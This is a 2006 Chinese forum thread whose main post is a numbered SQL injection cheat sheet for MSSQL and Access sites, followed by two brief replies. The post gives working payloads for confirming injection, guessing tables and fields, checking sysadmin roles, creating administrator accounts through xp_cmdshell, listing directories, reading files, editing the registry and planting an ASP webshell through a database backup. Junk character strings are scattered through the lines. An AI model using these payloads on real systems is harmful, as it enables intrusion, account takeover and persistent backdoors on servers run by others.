社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4369阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 O!Wd5Y  
  2.初步判断是否是mssql ;and user>0 [<wbbvXR  
S='syq>Aok  
  3.注入参数是字符'and [查询条件] and ''=' ~SjZk|  
7W9~1 .SC  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' [rreFSy#@  
: &J8.G^  
  5.判断数据库系统 ]]cYLaq(  
g6sjc,`  
  ;and (select count(*) from sysobjects)>0 mssql -qebQv  
4Z)DDz-}V  
  ;and (select count(*) from msysobjects)>0 access \NXQ  
\h3e-)  
ACV ek  
;t]|15]u  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 (tl}q3U  
>sj bK%  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 s6=YV0w(  
TRKgBK$,  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 )Hf~d=GG  
MFg'YA2/  
  9.(1)猜字段的ascii值(access) ~2/{3m{3A  
qi+&|80T.  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 wH!#aB>kP  
K@@9:T$  
  (2)猜字段的ascii值(mssql) [BBpQN.^q6  
y,<$X.>QO|  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 [U_[</L7  
4w{-'M.B  
  10.测试权限结构(mssql) 98*x 'Wp  
wq4nMY:#  
B#tdLv"I  
KtTza5aF  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {TL +7kiX/  
F$*3@Y  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ma9ADFFT  
e`sw*m5  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- wO"GtVd  
 q{X T  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- jX|=n.#q  
DuF7HTN[K  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Ko}2%4on  
V:\]cGA{  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ?Bu}.0ku-$  
.v,bXU$@YG  
  ;and 1=(select IS_MEMBER('db_owner'));-- a{_ KSg  
b|ZLX:  
IT1P Pm  
8X~h?^Vz  
  11.添加mssql和系统的帐户 Ky&KF0  
+ v[O  
  ;exec master.dbo.sp_addlogin username;-- )C}KR`"  
  ;exec master.dbo.sp_password null,username,password;-- y~p4">]  
 5T/J%  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- uMDtdC8  
baIbf@t/  
  ;exec master.dbo.xp_cmdshell 'net user username password #` +]{4hR  
sA\L7`2H  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- zKJ. Tj W  
n4>cERf a  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- L*O>IQh2  
MW]8;`|jC  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- p!GZCf,   
n{{ P 3f  
[` 'd#pR  
wA r~<  
  12.(1)遍历目录 a)S(p1BGg  
t{=i=K 3  
  ;create table dirs(paths varchar(100), id int) ss; 5C:*y  
b8cVnP  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' eKJ:?Lxv;  
Bhx<g&|j  
  ;and (select top 1 paths from dirs)>0 leIy|K>\m  
&>V/X{>$`K  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) jnDQ{D  
&<=e_0zT  
(!ZV9S  
:;_#5  
  (2)遍历目录 cdN/Qy  
C1D ! V:  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?k::tNv0  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 5&G 5eA  
k)i"tpw  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Nor`c+,4  
N GSS:  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 55,=[  
u&tFb]1@)  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 mw Z'=H  
N)P((>S;  
'5V^}/  
+Tp%5+E  
  13.mssql中的存储过程 v}&#f&q!  
W8x[3,gT  
  xp_regenumvalues 注册表根键, 子键 +/w(K,  
^ePsIl1E  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 O!yakU+  
d>;2,srUf  
  xp_regread 根键,子键,键值名 }ymc5-  
D-~G|8g  
  ;exec xp_regread %P(;8sS  
^A- sS~w  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 n+X1AOE[L  
2J)74SeH  
  xp_regwrite 根键,子键, 值名, 值类型, 值 [qW<D/@  
6{ C Fe|XN  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 k3C"  
T6,V  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @c0n2 Xcr  
pK<%<dIc  
  xp_regdeletevalue 根键,子键,值名 2|$lk8/,  
r7RU"H:j8  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 z2.*#xTZn  
Uld_X\;Q4  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ([[)Ub$U  
^g70AqUc  
Q6eN+i2 ;  
IvFR <n  
  14.mssql的backup创建webshell c%jsu"  
692Rw}/  
  use model s c5\( b  
[ k!-;mi   
  create table cmd(str image); f V*}c`  
p "/(>8  
  insert into cmd(str) values (''); wH+FFXGJs  
`i=JjgG@  
  backup database model to disk='c:\l.asp'; t3pZjdLJd  
*Yj~]E0`1  
.V8/ELr]  
D~5yj&&T;  
  15.mssql内置函数 (W7;}gysh  
||yXp2  
  ;and (select @@version)>0 获得Windows的版本号 aB=vu=hF  
~g*Y, Y  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;I[ht  
}Q!h ov  
  ;and (select user_name())>0 爆当前系统的连接用户 T"n>h  
d&NCFx  
  ;and (select db_name())>0 得到当前连接的数据库 lTx Y6vi  
oK#\HD4U  
ay=KfY5  
}A^ 1q5  
  16.简洁的webshell m5X3{[a :  
FYp|oD2=1  
  use model 5dg-d\ 6S  
I/^q+l.=`{  
  create table cmd(str image); 4kWg>F3  
_=o1?R  
  insert into cmd(str) values (''); - P\S>G.  
0q:(-z\S4  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五